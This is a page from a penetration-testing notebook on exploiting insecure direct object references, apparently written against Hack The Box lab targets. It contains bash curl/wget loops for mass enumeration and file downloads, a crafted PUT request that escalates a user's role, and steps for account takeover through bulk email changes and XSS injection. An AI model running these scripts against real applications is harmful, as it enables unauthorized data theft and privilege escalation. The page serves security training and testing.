Intrusionz3r0
HacktheboxTwitter
  • Welcome
  • Windows Penetration Testing
    • Enumeration
    • Credentials Attacks On Windows
    • Kerberos
    • Abuse ACLS
    • Common Attacks
    • Abuse Tokens
    • Kerberos “Double Hop”
    • Privileged Groups
    • Defense Evasion
    • Active Directory Certificate Services
    • Windows Persistence
    • Privilege Escalation
    • Trust Enumeration and Attacks
    • Windows Lateral Movement
    • Powershell Cheetsheet
    • Microsoft Exchange and Office
  • Linux Penetration Testing
    • Linux Active directory
    • Tools
    • Privilege Groups
    • Post Exploitation
    • Privilege Escalation
      • Sudo Privilege escalation
      • Writable .service files
      • Wildcard on compression binaries
      • Path Abuse
      • Capabilities
      • Exploit Logrotate
      • Weak NFS Privileges
      • Hijacking Tmux Sessions
      • Shared Libraries
      • Shared Object Hijacking
      • Python Library Hijacking
      • Linux Enumeration
    • Stealing Linux Credentials
    • Critical Vulnerabilities
    • Upgrading TTY
    • Process monitoring
    • Miscellaneous
    • Escape Restricted Shell
  • Malware Development
    • Malware Development Essentials
    • Code Snippets
    • Malware Development Intermediate
  • Social Engineering
  • Portforwarding and tunneling
  • File Transfer Techniques
  • Password Attacks
  • Enumeration
    • Network Enumeration
    • (OSINT) Active Enumeration
    • (OSINT) Passive Enumeration
    • [22] SSH
    • [21] FTP
    • [25,465,587] SMTP
    • [53] DNS Enumeration
    • [80 443] HTTP HTTPS
    • [110,143,993,995] IMAP/POP3 Enumeration
    • [111,2049] Network File System
    • [139,445] SMB Enumeration
    • [161] SNMP
    • [512,513,514] R-Services
    • [623] IPMI
    • [873] Rsync
    • [1433] MSSQL
    • [1521] Oracle TNS
    • [3389] Remote Desktop Protocol (RDP)
    • [5985/5986] WinRM
    • [3306] Mysql
    • [513] Rlogin
  • Hacking Web
    • Methodology
    • Vulnerabilities
      • SQL Injection
      • Cross Site Scripting (XSS)
      • File path traversal/Local File Inclusion
      • File Upload Attacks
      • Denial of Service
      • Command Injection
      • Insecure Direct Object Reference (IDOR)
      • XML External Entity (XXE) Injection
      • Web Mass Assignment Vulnerabilities
      • Log4Shell Exploitation Guide
      • Authentication
      • Business Vulnerabilities
      • Access control vulnerabilities
      • Server-Side Request Forgery (SSRF)
      • Cross-site request forgery (CSRF)
      • Cross-origin resource sharing (CORS)
      • Clickjacking
      • DOM-based vulnerabilities
      • JWT vulnerabilities
      • Password reset poisoning
    • Web Tech Detection viaa Tokens, Headers & Cookies
    • Burpsuite through SOCKS5
    • Bypass 403 - Forbidden
  • OSINT
  • Common Applications
    • Gitlab
    • Splunk
    • Tomcat
    • Joomla
    • Microsoft Internet Information Services (IIS)
    • Nagios XI
    • Wordpress
    • Drupal
    • Tomcat CGI
    • osTicket
    • Attacking Thick Client Applications
    • PRTG Network Monitor
    • Jenkins
    • ColdFusion
    • WebLogic
    • Grafana
    • Umbraco
  • Containers Pentesting
  • C2 Command and Control
    • Sliver
    • Cobalt Strike
    • Mythic
    • Havoc
  • Report Templates
  • Anonymity Guide
  • Labs
    • Vulnlabs
      • Baby
      • Trusted (Chain)
      • Retro
      • Retro2
      • Hybrid (Chain)
      • Baby2
      • Breach
      • Sendai
      • Sweep
      • Delegate
      • Redelegate
      • Media
      • Bruno
      • Cicada
      • Lustrous2
      • Tengu (Chain)
      • Reflection (Chain)
      • Tea (Chain)
      • Heron (Chain)
      • Lustrous (Chain)
      • Kaiju (Chain)
      • Intercept (Chain)
      • Sidecar (Chain)
      • Vigilant (Chain)
      • Job
      • Job2
      • Puppet (Chain)
      • Mythical (Chain)
      • Push (Chain)
Powered by GitBook
On this page
  • Methodology
  • When References Are Encoded
  • Mass Enumeration Example
  • Download Exploitation Script
  • Exploiting Insecure APIs
  • Combining Leaks + Writes = Complete Takeover
  1. Hacking Web
  2. Vulnerabilities

Insecure Direct Object Reference (IDOR)

Methodology

Identifying Object References

Look for URLs, forms, or APIs that reference internal objects directly. Common patterns:

/my-account?id=wiener
/blogs?userId=773fea0b-d694-496b-974b-4ae2b8d8cc9c
/user?id=123
/profile?id=wiener
/account/456
/message?id=90210
/email?id=105
/ticket/view?ticketId=320
/download?file=invoice-002.pdf
/file?id=resume123.docx
/document/8756
/order?id=31415
/checkout?orderId=1234
/invoice?id=980
/admin/upgrade-user?id=2
/update-role?userId=773
/post?postId=89
/comment/delete?commentId=2048
/logs?user=admin
/audit?id=777

When References Are Encoded

If object references are hashed or encoded (e.g., base64, md5, URL encoding), understand the encoding method and reverse it.

Common encoded parameters:

  • uid

  • username

  • file

  • contract

Example:

GET /download.php?contract=MQ%3D%3D

Base64-decode: MQ== → 1


Mass Enumeration Example

for x in {1..10}; do
  curl -s -X POST 'http://HOST/documents.php' -d "uid=$x" | grep -oP "/documents/\\K\\w*\\.\\w*"
done

Download Exploitation Script

#!/bin/bash
url='http://HOST:PORT/download.php?contract='
for i in {1..30}; do
  value=$(echo -n $i | base64 -w0 | jq -sRr @uri)
  filename=$(curl -s -I "$url$value" | grep -oP 'filename=\\"\\K\\w+\\.\\w*')
  wget -q "$url$value" -O "$filename"
done

Exploiting Insecure APIs

Step 1: User Enumeration

for x in {1..30}; do
  curl -s -X GET "http://HOST/profile/api.php/profile/$x" | jq
done

Sample output:

{
  "uid": "10",
  "uuid": "bfd92386a1b48076792e68b596846499",
  "role": "staff_admin",
  "full_name": "admin",
  "email": "admin@employees.htb"
}

Step 2: Escalation via Insecure Function Calls (PUT)

PUT /profile/api.php/profile/1 HTTP/1.1
Host: 83.136.253.171:45444
Cookie: role=employee
Content-Type: application/json

{
  "uid": 1,
  "uuid": "40f5888b67c748df7efba008e7c2f9d2",
  "role": "staff_admin",
  "full_name": "Adrian Morales",
  "email": "Intrusionz3r0@employees.htb",
  "about": "<h1>Hola</h1>"
}

This allows privilege escalation by overwriting the role field.


Combining Leaks + Writes = Complete Takeover

  • First, enumerate user data (UUIDs, roles, etc.).

  • Then, modify those values via IDOR-vulnerable PUT endpoints.

  • You can:

    • Change all users’ emails to one you control.

    • Inject XSS in about fields.

    • Change user roles in bulk.

PreviousCommand InjectionNextXML External Entity (XXE) Injection

Last updated 2 months ago